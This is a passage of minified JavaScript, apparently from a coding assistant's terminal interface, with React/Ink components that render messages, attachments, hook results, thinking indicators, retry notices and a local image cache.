w=K[2],H=K[3],J=K[4],O=K[5],X=K[6],$=K[7];if($!==Symbol.for("react.early_return_sentinel"))return $;let _;if(K[8]!==w||K[9]!==H||K[10]!==J||K[11]!==O||K[12]!==X)_=I5.createElement(w,{flexDirection:H,marginTop:J,width:O},X),K[8]=w,K[9]=H,K[10]=J,K[11]=O,K[12]=X,K[13]=_;else _=K[13];return _}function SD2(A,K){let q=Pv(A.color),Y=ID2(A.teammateId),z=d4K(A.content,Y);if(z)return I5.createElement(I5.Fragment,{key:K},z);let w=Q4K(A.content);if(w){if(b8())return null;return I5.createElement(I5.Fragment,{key:K},w)}let H=U4K(A.content);if(H)return I5.createElement(I5.Fragment,{key:K},H);let J=p4K(A.content);if(J)return I5.createElement(I5.Fragment,{key:K},J);let O=null;try{O=G6(A.content)}catch{}if(O?.type==="idle_notification")return null;if(O?.type==="task_completed"){let X=O;return I5.createElement(S,{key:K,flexDirection:"column",marginTop:1},I5.createElement(V,{color:q},uY," ",I5.createElement(V,{bold:!0},"@",Y)),I5.createElement(k6,null,I5.createElement(V,{color:"success"},"✓"),I5.createElement(V,null," ","Completed task #",X.taskId,X.taskSubject&&I5.createElement(V,{dimColor:!0}," (",X.taskSubject,")"))))}if(O?.type==="teammate_terminated")return I5.createElement(S,{key:K,flexDirection:"column",marginTop:1},I5.createElement(V,null,uY," ",O.message));return I5.createElement(S,{key:K,flexDirection:"column",marginTop:1},I5.createElement(V,{color:q},uY," ",I5.createElement(V,{bold:!0},"@",Y),":"),I5.createElement(S,{paddingLeft:2},I5.createElement(PO,null,A.content)))}var I5;var i4K=k(()=>{cA();mA();ht();hf();wz();b1();c4K();oy6();ay6();sy6();Eq();JL();t9();I5=o($A(),1)});function hD2(A){switch(A){case"completed":return"success";case"failed":return"error";case"killed":return"warning";default:return"text"}}function n4K(A){let K=s(12),{addMargin:q,param:Y}=A,{text:z}=Y,w;if(K[0]!==z)w=i7(z,"summary"),K[0]=z,K[1]=w;else w=K[1];let H=w;if(!H)return null;let J;if(K[2]!==z){let Z=i7(z,"status");J=hD2(Z),K[2]=z,K[3]=J}else J=K[3];let O=J,X=q?1:0,$;if(K[4]!==O)$=y3A.createElement(V,{color:O},uY),K[4]=O,K[5]=$;else $=K[5];let _;if(K[6]!==H||K[7]!==$)_=y3A.createElement(V,null,$," ",H),K[6]=H,K[7]=$,K[8]=_;else _=K[8];let G;if(K[9]!==X||K[10]!==_)G=y3A.createElement(S,{marginTop:X},_),K[9]=X,K[10]=_,K[11]=G;else G=K[11];return G}var y3A;var r4K=k(()=>{cA();mA();hf();$8();y3A=o($A(),1)});function jP1(A){let K=s(6),{addMargin:q,planContent:Y}=A,z=q?1:0,w;if(K[0]===Symbol.for("react.memo_cache_sentinel"))w=Ed.createElement(S,{marginBottom:1},Ed.createElement(V,{bold:!0,color:"planMode"},"Plan to implement")),K[0]=w;else w=K[0];let H;if(K[1]!==Y)H=Ed.createElement(PO,null,Y),K[1]=Y,K[2]=H;else H=K[2];let J;if(K[3]!==z||K[4]!==H)J=Ed.createElement(S,{flexDirection:"column",borderStyle:"round",borderColor:"planMode",marginTop:z,paddingX:1},w,H),K[3]=z,K[4]=H,K[5]=J;else J=K[5];return J}var Ed;var ty6=k(()=>{cA();mA();JL();Ed=o($A(),1)});function I3A(A){let K=s(33),{addMargin:q,param:Y,verbose:z,thinkingMetadata:w,planContent:H}=A;if(Y.text.trim()===wf)return null;if(H){let O;if(K[0]!==q||K[1]!==H)O=hw.createElement(jP1,{addMargin:q,planContent:H}),K[0]=q,K[1]=H,K[2]=O;else O=K[2];return O}if(i7(Y.text,El))return null;if(Y.text.startsWith("<bash-stdout")||Y.text.startsWith("<bash-stderr")){let O;if(K[3]!==Y.text||K[4]!==z)O=hw.createElement(y4K,{content:Y.text,verbose:z}),K[3]=Y.text,K[4]=z,K[5]=O;else O=K[5];return O}if(Y.text.startsWith("<background-task-output>")){let O;if(K[6]!==Y.text)O=hw.createElement(x4K,{content:Y.text}),K[6]=Y.text,K[7]=O;else O=K[7];return O}if(Y.text.startsWith("<local-command-stdout")||Y.text.startsWith("<local-command-stderr")){let O;if(K[8]!==Y.text)O=hw.createElement(h4K,{content:Y.text}),K[8]=Y.text,K[9]=O;else O=K[9];return O}if(Y.text===ut||Y.text===bf){let O;if(K[10]===Symbol.for("react.memo_cache_sentinel"))O=hw.createElement(k6,{height:1},hw.createElement(hu,null)),K[10]=O;else O=K[10];return O}if(Y.text.includes("<bash-input>")){let O;if(K[11]!==q||K[12]!==Y)O=hw.createElement(zP1,{addMargin:q,param:Y}),K[11]=q,K[12]=Y,K[13]=O;else O=K[13];return O}if(Y.text.includes("<background-task-input>")){let O;if(K[14]!==q||K[15]!==Y)O=hw.createElement(E3A,{addMargin:q,param:Y}),K[14]=q,K[15]=Y,K[16]=O;else O=K[16];return O}if(Y.text.includes(`<${tW}>`)){let O;if(K[17]!==q||K[18]!==Y)O=hw.createElement(D4K,{addMargin:q,param:Y}),K[17]=q,K[18]=Y,K[19]=O;else O=K[19];return O}if(Y.text.includes("<user-memory-input>")){let O;if(K[20]!==q||K[21]!==Y.text)O=hw.createElement(C4K,{addMargin:q,text:Y.text}),K[20]=q,K[21]=Y.text,K[22]=O;else O=K[22];return O}if(b8()&&Y.text.includes(`<${F0}`)){let O;if(K[23]!==q||K[24]!==Y)O=hw.createElement(l4K,{addMargin:q,param:Y}),K[23]=q,K[24]=Y,K[25]=O;else O=K[25];return O}if(Y.text.includes(`<${g0}`)){let O;if(K[26]!==q||K[27]!==Y)O=hw.createElement(n4K,{addMargin:q,param:Y}),K[26]=q,K[27]=Y,K[28]=O;else O=K[28];return O}let J;if(K[29]!==q||K[30]!==Y||K[31]!==w)J=hw.createElement(T4K,{addMargin:q,param:Y,thinkingMetadata:w}),K[29]=q,K[30]=Y,K[31]=w,K[32]=J;else J=K[32];return J}var hw;var MP1=k(()=>{cA();yy6();j4K();v4K();cT();L4K();SGA();$8();Eq();I4K();b4K();by6();u4K();t9();i4K();r4K();wz();ty6();$8();hw=o($A(),1)});import{join as PP1,dirname as bD2}from"path";function a4K(){return PP1(w8(),o4K,d1())}function s4K(A,K){if(A.existsSync(K))return;let q=bD2(K);if(q!==K)s4K(A,q);A.mkdirSync(K)}function xD2(){let A=BA(),K=a4K();s4K(A,K)}function t4K(A,K){let q=K.split("/")[1]||"png";return PP1(a4K(),`${A}.${q}`)}function e4K(A){if(A.type!=="image")return null;let K=t4K(A.id,A.mediaType||"image/png");return ey6.set(A.id,K),K}function AI6(A){if(A.type!=="image")return null;try{xD2();let K=t4K(A.id,A.mediaType||"image/png");return x8(K,A.content,{encoding:"base64",flush:!0,mode:384}),ey6.set(A.id,K),h(`Stored image ${A.id} to ${K}`),K}catch(K){return h(`Failed to store image: ${K}`),null}}function A7K(A){let K=new Map;for(let[q,Y]of Object.entries(A))if(Y.type==="image"){let z=AI6(Y);if(z)K.set(Number(q),z)}return K}function VP1(A){return ey6.get(A)??null}async function K7K(){let A=BA(),K=PP1(w8(),o4K),q=d1();try{let Y;try{Y=await A.readdir(K)}catch{return}for(let z of Y){if(z.name===q)continue;let w=PP1(K,z.name);try{await A.rm(w,{recursive:!0,force:!0}),h(`Cleaned up old image cache: ${w}`)}catch{}}try{if((await A.readdir(K)).length===0)await A.rmdir(K)}catch{}}catch{}}var o4K="image-cache",ey6;var YMA=k(()=>{l6();q6();e6();Z1();b1();ey6=new Map});import{pathToFileURL as uD2}from"url";function fP1(A){let K=s(7),{imageId:q,addMargin:Y}=A,z=q?`[Image #${q}]`:"[Image]",w;if(K[0]!==q||K[1]!==z){let O=q?VP1(q):null;w=O&&CT()?hS.createElement(X7,{url:uD2(O).href},hS.createElement(V,null,z)):hS.createElement(V,null,z),K[0]=q,K[1]=z,K[2]=w}else w=K[2];let H=w;if(Y){let O;if(K[3]!==H)O=hS.createElement(S,{marginTop:1},H),K[3]=H,K[4]=O;else O=K[4];return O}let J;if(K[5]!==H)J=hS.createElement(k6,null,H),K[5]=H,K[6]=J;else J=K[6];return J}var hS;var KI6=k(()=>{cA();mA();mXA();YMA();Pr();Eq();hS=o($A(),1)});function NP1(A){let K=s(17),{param:q,addMargin:Y,isTranscriptMode:z,verbose:w,hideInTranscript:H}=A,{thinking:J}=q,O=Y===void 0?!1:Y,X=H===void 0?!1:H,$=cK("app:toggleTranscript","Global","ctrl+o"),_;if(K[0]===Symbol.for("react.memo_cache_sentinel"))_=!1,K[0]=_;else _=K[0];if(!J&&!_)return null;if(X)return null;let Z=z||w,W;if(K[1]!==J)W="∴ Thinking",K[1]=J,K[2]=W;else W=K[2];let D=W;if(!Z){let N=O?1:0,T;if(K[3]!==$||K[4]!==D)T=S3A.default.createElement(V,{dimColor:!0,italic:!0},D," (",$," to expand)"),K[3]=$,K[4]=D,K[5]=T;else T=K[5];let C;if(K[6]!==N||K[7]!==T)C=S3A.default.createElement(S,{marginTop:N},T),K[6]=N,K[7]=T,K[8]=C;else C=K[8];return C}let j=O?1:0,M;if(K[9]!==D)M=S3A.default.createElement(V,{dimColor:!0,italic:!0},D,"…"),K[9]=D,K[10]=M;else M=K[10];let P;if(K[11]!==J)P=S3A.default.createElement(S,{paddingLeft:2},S3A.default.createElement(PO,null,J)),K[11]=J,K[12]=P;else P=K[12];let f;if(K[13]!==j||K[14]!==M||K[15]!==P)f=S3A.default.createElement(S,{flexDirection:"column",gap:1,marginTop:j,width:"100%"},M,P),K[13]=j,K[14]=M,K[15]=P,K[16]=f;else f=K[16];return f}var S3A;var qI6=k(()=>{cA();mA();JL();Vz();i6();S3A=o($A(),1)});function q7K(A){let K=s(3),{addMargin:q}=A,z=(q===void 0?!1:q)?1:0,w;if(K[0]===Symbol.for("react.memo_cache_sentinel"))w=YI6.default.createElement(V,{dimColor:!0,italic:!0},"✻ Thinking…"),K[0]=w;else w=K[0];let H;if(K[1]!==z)H=YI6.default.createElement(S,{marginTop:z},w),K[1]=z,K[2]=H;else H=K[2];return H}var YI6;var Y7K=k(()=>{cA();mA();YI6=o($A(),1)});import{relative as BD2}from"path";function z7K(A){let K=s(14),{attachment:q,verbose:Y}=A,z=cK("app:toggleTranscript","Global","ctrl+o");if(q.files.length===0)return null;let w;if(K[0]!==q.files)w=q.files.reduce(FD2,0),K[0]=q.files,K[1]=w;else w=K[1];let H=w,J=q.files.length;if(Y){let O;if(K[2]!==q.files)O=q.files.map(mD2),K[2]=q.files,K[3]=O;else O=K[3];let X;if(K[4]!==O)X=Vv.default.createElement(S,{flexDirection:"column"},O),K[4]=O,K[5]=X;else X=K[5];return X}else{let O;if(K[6]!==H)O=Vv.default.createElement(V,{bold:!0},H),K[6]=H,K[7]=O;else O=K[7];let X=H===1?"issue":"issues",$=J===1?"file":"files",_;if(K[8]!==z||K[9]!==J||K[10]!==O||K[11]!==X||K[12]!==$)_=Vv.default.createElement(k6,null,Vv.default.createElement(V,{dimColor:!0,wrap:"wrap"},"Found ",O," new diagnostic"," ",X," in ",J," ",$," (",z," to expand)")),K[8]=z,K[9]=J,K[10]=O,K[11]=X,K[12]=$,K[13]=_;else _=K[13];return _}}function mD2(A,K){return Vv.default.createElement(Vv.default.Fragment,{key:K},Vv.default.createElement(k6,null,Vv.default.createElement(V,{dimColor:!0,wrap:"wrap"},Vv.default.createElement(V,{bold:!0},BD2(x1(),A.uri.replace("file://","").replace("_claude_fs_right:","")))," ",Vv.default.createElement(V,{dimColor:!0},A.uri.startsWith("file://")?"(file://)":A.uri.startsWith("_claude_fs_right:")?"(claude_fs_right)":`(${A.uri.split(":")[0]})`),":")),A.diagnostics.map(gD2))}function gD2(A,K){return Vv.default.createElement(k6,{key:K},Vv.default.createElement(V,{dimColor:!0,wrap:"wrap"}," ",pI.getSeveritySymbol(A.severity)," [Line ",A.range.start.line+1,":",A.range.start.character+1,"] ",A.message,A.code?` [${A.code}]`:"",A.source?` (${A.source})`:""))}function FD2(A,K){return A+K.diagnostics.length}var Vv;var w7K=k(()=>{cA();mA();y4();Eq();QqA();Vz();Vv=o($A(),1)});import{relative as h3A,sep as QD2}from"path";function H7K(A){let K=s(132),{attachment:q,addMargin:Y,verbose:z}=A;if(b8()&&q.type==="teammate_mailbox")return null;switch(q.type){case"directory":{let w;if(K[0]!==q.path)w=h3A(x1(),q.path),K[0]=q.path,K[1]=w;else w=K[1];let H=w+QD2,J;if(K[2]!==H)J=uq.default.createElement(VO,null,"Listed directory"," ",uq.default.createElement(V,{bold:!0},H)),K[2]=H,K[3]=J;else J=K[3];return J}case"file":case"already_read_file":{if(q.content.type==="notebook"){let X;if(K[4]!==q.filename)X=h3A(x1(),q.filename),K[4]=q.filename,K[5]=X;else X=K[5];let $;if(K[6]!==X)$=uq.default.createElement(V,{bold:!0},X),K[6]=X,K[7]=$;else $=K[7];let _;if(K[8]!==q.content.file.cells.length||K[9]!==$)_=uq.default.createElement(VO,null,"Read ",$," (",q.content.file.cells.length," cells)"),K[8]=q.content.file.cells.length,K[9]=$,K[10]=_;else _=K[10];return _}let w;if(K[11]!==q.filename)w=h3A(x1(),q.filename),K[11]=q.filename,K[12]=w;else w=K[12];let H;if(K[13]!==w)H=uq.default.createElement(V,{bold:!0},w),K[13]=w,K[14]=H;else H=K[14];let J;if(K[15]!==q.content.file.numLines||K[16]!==q.content.file.originalSize||K[17]!==q.content.type||K[18]!==q.truncated)J=q.content.type==="text"?`${q.content.file.numLines}${q.truncated?"+":""} lines`:c0(q.content.file.originalSize),K[15]=q.content.file.numLines,K[16]=q.content.file.originalSize,K[17]=q.content.type,K[18]=q.truncated,K[19]=J;else J=K[19];let O;if(K[20]!==H||K[21]!==J)O=uq.default.createElement(VO,null,"Read ",H," (",J,")"),K[20]=H,K[21]=J,K[22]=O;else O=K[22];return O}case"compact_file_reference":{let w;if(K[23]!==q.filename)w=h3A(x1(),q.filename),K[23]=q.filename,K[24]=w;else w=K[24];let H;if(K[25]!==w)H=uq.default.createElement(VO,null,"Referenced file"," ",uq.default.createElement(V,{bold:!0},w)),K[25]=w,K[26]=H;else H=K[26];return H}case"selected_lines_in_ide":{let w=q.lineEnd-q.lineStart+1,H;if(K[27]!==w)H=uq.default.createElement(V,{bold:!0},w),K[27]=w,K[28]=H;else H=K[28];let J;if(K[29]!==q.filename)J=h3A(x1(),q.filename),K[29]=q.filename,K[30]=J;else J=K[30];let O;if(K[31]!==J)O=uq.default.createElement(V,{bold:!0},J),K[31]=J,K[32]=O;else O=K[32];let X;if(K[33]!==q.ideName||K[34]!==H||K[35]!==O)X=uq.default.createElement(VO,null,"⧉ Selected"," ",H," ","lines from ",O," ","in ",q.ideName),K[33]=q.ideName,K[34]=H,K[35]=O,K[36]=X;else X=K[36];return X}case"nested_memory":{let w;if(K[37]!==q.path)w=h3A(x1(),q.path),K[37]=q.path,K[38]=w;else w=K[38];let H;if(K[39]!==w)H=uq.default.createElement(VO,null,"Loaded ",uq.default.createElement(V,{bold:!0},w)),K[39]=w,K[40]=H;else H=K[40];return H}case"dynamic_skill":{let w;if(K[41]!==q.skillDir)w=h3A(x1(),q.skillDir),K[41]=q.skillDir,K[42]=w;else w=K[42];let H=w,J=q.skillNames.length,O=J!==1?"s":"",X;if(K[43]!==J||K[44]!==O)X=uq.default.createElement(V,{bold:!0},J," skill",O),K[43]=J,K[44]=O,K[45]=X;else X=K[45];let $;if(K[46]!==H)$=uq.default.createElement(V,{bold:!0},H),K[46]=H,K[47]=$;else $=K[47];let _;if(K[48]!==X||K[49]!==$)_=uq.default.createElement(VO,null,"Loaded"," ",X," ","from ",$),K[48]=X,K[49]=$,K[50]=_;else _=K[50];return _}case"skill_listing":{if(q.isInitial)return null;let w;if(K[51]!==q.skillCount)w=uq.default.createElement(V,{bold:!0},q.skillCount),K[51]=q.skillCount,K[52]=w;else w=K[52];let H=q.skillCount!==1?"s":"",J;if(K[53]!==w||K[54]!==H)J=uq.default.createElement(VO,null,w," skill",H," available"),K[53]=w,K[54]=H,K[55]=J;else J=K[55];return J}case"queued_command":{let w;if(K[56]!==q.prompt)w=typeof q.prompt==="string"?q.prompt:b3A(q.prompt)||"",K[56]=q.prompt,K[57]=w;else w=K[57];let H=w,J=q.imagePasteIds&&q.imagePasteIds.length>0,O;if(K[58]!==H)O={text:H,type:"text"},K[58]=H,K[59]=O;else O=K[59];let X;if(K[60]!==Y||K[61]!==O||K[62]!==z)X=uq.default.createElement(I3A,{addMargin:Y,param:O,verbose:z}),K[60]=Y,K[61]=O,K[62]=z,K[63]=X;else X=K[63];let $;if(K[64]!==q.imagePasteIds||K[65]!==J)$=J&&q.imagePasteIds?.map(pD2),K[64]=q.imagePasteIds,K[65]=J,K[66]=$;else $=K[66];let _;if(K[67]!==X||K[68]!==$)_=uq.default.createElement(S,{flexDirection:"column"},X,$),K[67]=X,K[68]=$,K[69]=_;else _=K[69];return _}case"todo":{if(q.context==="post-compact"){let w=q.itemCount===1?"item":"items",H;if(K[70]!==q.itemCount||K[71]!==w)H=uq.default.createElement(VO,null,"Todo list read (",q.itemCount," ",w,")"),K[70]=q.itemCount,K[71]=w,K[72]=H;else H=K[72];return H}return null}case"plan_file_reference":{let w;if(K[73]!==q.planFilePath)w=Z5(q.planFilePath),K[73]=q.planFilePath,K[74]=w;else w=K[74];let H;if(K[75]!==w)H=uq.default.createElement(VO,null,"Plan file referenced (",w,")"),K[75]=w,K[76]=H;else H=K[76];return H}case"invoked_skills":{if(q.skills.length===0)return null;let w;if(K[77]!==q.skills)w=q.skills.map(UD2).join(", "),K[77]=q.skills,K[78]=w;else w=K[78];let H=w,J;if(K[79]!==H)J=uq.default.createElement(VO,null,"Skills restored (",H,")"),K[79]=H,K[80]=J;else J=K[80];return J}case"diagnostics":{let w;if(K[81]!==q||K[82]!==z)w=uq.default.createElement(z7K,{attachment:q,verbose:z}),K[81]=q,K[82]=z,K[83]=w;else w=K[83];return w}case"mcp_resource":{let w;if(K[84]!==q.name)w=uq.default.createElement(V,{bold:!0},q.name),K[84]=q.name,K[85]=w;else w=K[85];let H;if(K[86]!==q.server||K[87]!==w)H=uq.default.createElement(VO,null,"Read MCP resource ",w," from"," ",q.server),K[86]=q.server,K[87]=w,K[88]=H;else H=K[88];return H}case"command_permissions":return null;case"async_hook_response":{if(q.hookEvent==="SessionStart"&&!z)return null;let w=q.response,H;if(K[89]!==q.hookEvent)H=uq.default.createElement(V,{bold:!0},q.hookEvent),K[89]=q.hookEvent,K[90]=H;else H=K[90];let J;if(K[91]!==w||K[92]!==z)J=z&&uq.default.createElement(uq.default.Fragment,null,":",` `,w.systemMessage?w.systemMessage:w.hookSpecificOutput&&("additionalContext"in w.hookSpecificOutput)&&w.hookSpecificOutput.additionalContext?w.hookSpecificOutput.additionalContext:null),K[91]=w,K[92]=z,K[93]=J;else J=K[93];let O;if(K[94]!==H||K[95]!==J)O=uq.default.createElement(VO,null,"Async hook ",H," completed",J),K[94]=H,K[95]=J,K[96]=O;else O=K[96];return O}case"hook_blocking_error":{if(q.hookEvent==="Stop"||q.hookEvent==="SubagentStop")return null;if(z){let H;if(K[97]!==q.blockingError.blockingError||K[98]!==q.hookName)H=uq.default.createElement(VO,{color:"error"},q.hookName," hook returned blocking error:"," ",q.blockingError.blockingError),K[97]=q.blockingError.blockingError,K[98]=q.hookName,K[99]=H;else H=K[99];return H}let w;if(K[100]!==q.hookName)w=uq.default.createElement(VO,{color:"error"},q.hookName," hook returned blocking error"),K[100]=q.hookName,K[101]=w;else w=K[101];return w}case"hook_non_blocking_error":{if(q.hookEvent==="Stop"||q.hookEvent==="SubagentStop")return null;if(z){let H;if(K[102]!==q.hookName||K[103]!==q.stderr)H=uq.default.createElement(VO,{color:"error"},q.hookName," hook error: ",q.stderr),K[102]=q.hookName,K[103]=q.stderr,K[104]=H;else H=K[104];return H}let w;if(K[105]!==q.hookName)w=uq.default.createElement(VO,{color:"error"},q.hookName," hook error"),K[105]=q.hookName,K[106]=w;else w=K[106];return w}case"hook_error_during_execution":{if(q.hookEvent==="Stop"||q.hookEvent==="SubagentStop")return null;if(z){let H;if(K[107]!==q.content||K[108]!==q.hookName)H=uq.default.createElement(VO,null,q.hookName," hook warning: ",q.content),K[107]=q.content,K[108]=q.hookName,K[109]=H;else H=K[109];return H}let w;if(K[110]!==q.hookName)w=uq.default.createElement(VO,null,q.hookName," hook warning"),K[110]=q.hookName,K[111]=w;else w=K[111];return w}case"hook_success":{if(q.hookEvent==="Stop"||q.hookEvent==="SubagentStop")return null;if(z){let w=q.content?`: ${q.content}`:"",H;if(K[112]!==q.hookName||K[113]!==w)H=uq.default.createElement(VO,null,q.hookName," hook succeeded",w),K[112]=q.hookName,K[113]=w,K[114]=H;else H=K[114];return H}return null}case"hook_stopped_continuation":{if(q.hookEvent==="Stop"||q.hookEvent==="SubagentStop")return null;let w;if(K[115]!==q.hookName||K[116]!==q.message)w=uq.default.createElement(VO,{color:"warning"},q.hookName," hook stopped continuation: ",q.message),K[115]=q.hookName,K[116]=q.message,K[117]=w;else w=K[117];return w}case"hook_system_message":{let w;if(K[118]!==q.content||K[119]!==q.hookName)w=uq.default.createElement(VO,null,q.hookName," says: ",q.content),K[118]=q.content,K[119]=q.hookName,K[120]=w;else w=K[120];return w}case"hook_permission_decision":{let w=q.decision==="allow"?"Allowed":"Denied",H;if(K[121]!==q.hookEvent)H=uq.default.createElement(V,{bold:!0},q.hookEvent),K[121]=q.hookEvent,K[122]=H;else H=K[122];let J;if(K[123]!==w||K[124]!==H)J=uq.default.createElement(VO,null,w," by ",H," hook"),K[123]=w,K[124]=H,K[125]=J;else J=K[125];return J}case"task_status":{if(b8()&&q.taskType==="in_process_teammate")return null;let w=q.status==="completed"?"completed in background":q.status,H;if(K[126]===Symbol.for("react.memo_cache_sentinel"))H=uq.default.createElement(V,{dimColor:!0},uY," "),K[126]=H;else H=K[126];let J;if(K[127]!==q.description)J=uq.default.createElement(V,{bold:!0},q.description),K[127]=q.description,K[128]=J;else J=K[128];let O;if(K[129]!==w||K[130]!==J)O=uq.default.createElement(S,{flexDirection:"row",width:"100%",marginTop:1},H,uq.default.createElement(V,{dimColor:!0},'Task "',J,'"'," ",w)),K[129]=w,K[130]=J,K[131]=O;else O=K[131];return O}case"task_progress":return null;case"agent_mention":case"budget_usd":case"critical_system_reminder":case"delegate_mode":case"delegate_mode_exit":case"edited_image_file":case"edited_text_file":case"hook_additional_context":case"hook_cancelled":case"opened_file_in_ide":case"output_style":case"plan_mode":case"plan_mode_exit":case"plan_mode_reentry":case"structured_output":case"team_context":case"todo_reminder":case"ultramemory":case"token_usage":return null}}function UD2(A){return A.name}function pD2(A){return uq.default.createElement(fP1,{key:A,imageId:A})}function VO(A){let K=s(4),{dimColor:q,children:Y,color:z}=A,w=q===void 0?!0:q,H;if(K[0]!==Y||K[1]!==z||K[2]!==w)H=uq.default.createElement(k6,null,uq.default.createElement(V,{color:z,dimColor:w,wrap:"wrap"},Y)),K[0]=Y,K[1]=z,K[2]=w,K[3]=H;else H=K[3];return H}var uq;var J7K=k(()=>{cA();mA();YK();Eq();y4();MP1();w7K();$8();KI6();t9();hf();uq=o($A(),1)});var zI6;var wI6=k(()=>{zI6=["Baked","Brewed","Churned","Cogitated","Cooked","Crunched","Sautéed","Worked"]});function O7K(A){let K=s(18),{message:q}=A,{retryAttempt:Y,error:z,retryInMs:w,maxRetries:H}=q,[J,O]=TP1.useState(0),X;if(K[0]===Symbol.for("react.memo_cache_sentinel"))X=()=>O(dD2),K[0]=X;else X=K[0];s9(X,1000);let $,_;if(K[1]===Symbol.for("react.memo_cache_sentinel"))$=()=>O(0),_=[],K[1]=$,K[2]=_;else $=K[1],_=K[2];if(TP1.useEffect($,_),Y<4)return null;let G;if(K[3]!==J||K[4]!==w)G=Math.round((w-J)/1000),K[3]=J,K[4]=w,K[5]=G;else G=K[5];let Z=Math.max(0,G),W;if(K[6]!==z)W=J37(z),K[6]=z,K[7]=W;else W=K[7];let D;if(K[8]!==W)D=kd.createElement(V,{color:"error"},W),K[8]=W,K[9]=D;else D=K[9];let j=Z===1?"second":"seconds",M;if(K[10]!==H||K[11]!==Y||K[12]!==Z||K[13]!==j)M=kd.createElement(V,{dimColor:!0},"Retrying in ",Z," ",j,"… (attempt"," ",Y,"/",H,")",process.env.API_TIMEOUT_MS?` · API_TIMEOUT_MS=${process.env.API_TIMEOUT_MS}ms, try increasing it`:""),K[10]=H,K[11]=Y,K[12]=Z,K[13]=j,K[14]=M;else M=K[14];let P;if(K[15]!==D||K[16]!==M)P=kd.createElement(k6,null,kd.createElement(S,{flexDirection:"column"},D,M)),K[15]=D,K[16]=M,K[17]=P;else P=K[17];return P}function dD2(A){return A+1000}var kd,TP1;var X7K=k(()=>{cA();Eq();mA();aU();aO();kd=o($A(),1),TP1=o($A(),1)});function _7K(A){let K=s(15),{message:q,addMargin:Y,verbose:z}=A;if(q.subtype==="turn_duration"){let _;if(K[0]!==Y||K[1]!==q)_=w5.createElement(rD2,{message:q,addMargin:Y}),K[0]=Y,K[1]=q,K[2]=_;else _=K[2];return _}if(q.subtype==="thinking")return null;if(q.subtype!=="stop_hook_summary"&&!z&&q.level==="info")return null;if(q.subtype==="api_error"){let _;if(K[3]!==q)_=w5.createElement(O7K,{message:q}),K[3]=q,K[4]=_;else _=K[4];return _}if(q.subtype==="stop_hook_summary"){let _;if(K[5]!==Y||K[6]!==q||K[7]!==z)_=w5.createElement(cD2,{message:q,addMargin:Y,verbose:z}),K[5]=Y,K[6]=q,K[7]=z,K[8]=_;else _=K[8];return _}let H=q.content,J=q.level!=="info",O=q.level==="warning"?"warning":void 0,X=q.level==="info",$;if(K[9]!==Y||K[10]!==H||K[11]!==J||K[12]!==O||K[13]!==X)$=w5.createElement(S,{flexDirection:"row",width:"100%"},w5.createElement(nD2,{content:H,addMargin:Y,dot:J,color:O,dimColor:X})),K[9]=Y,K[10]=H,K[11]=J,K[12]=O,K[13]=X,K[14]=$;else $=K[14];return $}function cD2(A){let K=s(23),{message:q,addMargin:Y,verbose:z}=A,{hookCount:w,hookInfos:H,hookErrors:J,preventedContinuation:O,stopReason:X}=q,{columns:$}=f8();if(J.length===0&&!O)return null;let _=Y?1:0,G;if(K[0]===Symbol.for("react.memo_cache_sentinel"))G=w5.createElement(S,{minWidth:2},w5.createElement(V,null,uY)),K[0]=G;else G=K[0];let Z=$-10,W;if(K[1]!==w)W=w5.createElement(V,{bold:!0},w),K[1]=w,K[2]=W;else W=K[2];let D=w===1?"hook":"hooks",j;if(K[3]!==W||K[4]!==D)j=w5.createElement(V,null,"Ran ",W," stop"," ",D),K[3]=W,K[4]=D,K[5]=j;else j=K[5];let M;if(K[6]!==H||K[7]!==z)M=z&&H.length>0&&H.map(iD2),K[6]=H,K[7]=z,K[8]=M;else M=K[8];let P;if(K[9]!==O||K[10]!==X)P=O&&X&&w5.createElement(V,null,"⎿ ",X),K[9]=O,K[10]=X,K[11]=P;else P=K[11];let f;if(K[12]!==J)f=J.length>0&&J.map(lD2),K[12]=J,K[13]=f;else f=K[13];let N;if(K[14]!==Z||K[15]!==j||K[16]!==M||K[17]!==P||K[18]!==f)N=w5.createElement(S,{flexDirection:"column",width:Z},j,M,P,f),K[14]=Z,K[15]=j,K[16]=M,K[17]=P,K[18]=f,K[19]=N;else N=K[19];let T;if(K[20]!==_||K[21]!==N)T=w5.createElement(S,{flexDirection:"row",marginTop:_,width:"100%"},G,N),K[20]=_,K[21]=N,K[22]=T;else T=K[22];return T}function lD2(A,K){return w5.createElement(V,{key:K},"⎿ Stop hook error: ",A)}function iD2(A,K){return w5.createElement(V,{key:`cmd-${K}`},"⎿ ",A.command==="prompt"?`prompt: ${A.promptText||""}`:`command: ${A.command}`)}function nD2(A){let K=s(17),{content:q,addMargin:Y,dot:z,color:w,dimColor:H}=A,{columns:J}=f8(),O=Y?1:0,X;if(K[0]!==w||K[1]!==H||K[2]!==z)X=z&&w5.createElement(S,{minWidth:2},w5.createElement(V,{color:w,dimColor:H},uY)),K[0]=w,K[1]=H,K[2]=z,K[3]=X;else X=K[3];let $=J-10,_;if(K[4]!==q)_=q.trim(),K[4]=q,K[5]=_;else _=K[5];let G;if(K[6]!==w||K[7]!==H||K[8]!==_)G=w5.createElement(V,{color:w,dimColor:H,wrap:"wrap"},_),K[6]=w,K[7]=H,K[8]=_,K[9]=G;else G=K[9];let Z;if(K[10]!==$||K[11]!==G)Z=w5.createElement(S,{flexDirection:"column",width:$},G),K[10]=$,K[11]=G,K[12]=Z;else Z=K[12];let W;if(K[13]!==O||K[14]!==X||K[15]!==Z)W=w5.createElement(S,{flexDirection:"row",marginTop:O,width:"100%"},X,Z),K[13]=O,K[14]=X,K[15]=Z,K[16]=W;else W=K[16];return W}function rD2(A){let K=s(9),{message:q,addMargin:Y}=A,[z]=$7K.useState(oD2);if(!(M1().showTurnDuration??!0))return null;let H;if(K[0]!==q.durationMs)H=$O(q.durationMs),K[0]=q.durationMs,K[1]=H;else H=K[1];let J=H,O=Y?1:0,X;if(K[2]===Symbol.for("react.memo_cache_sentinel"))X=w5.createElement(S,{minWidth:2},w5.createElement(V,{dimColor:!0},cy7)),K[2]=X;else X=K[2];let $;if(K[3]!==J||K[4]!==z)$=w5.createElement(V,{dimColor:!0},z," for ",J),K[3]=J,K[4]=z,K[5]=$;else $=K[5];let _;if(K[6]!==O||K[7]!==$)_=w5.createElement(S,{flexDirection:"row",marginTop:O,width:"100%"},X,$),K[6]=O,K[7]=$,K[8]=_;else _=K[8];return _}function oD2(){return rg(zI6)??"Worked"}var w5,$7K;var G7K=k(()=>{cA();mA();aTA();hf();wI6();uK();X7K();i6();w5=o($A(),1),$7K=o($A(),1)});function Z7K(){let 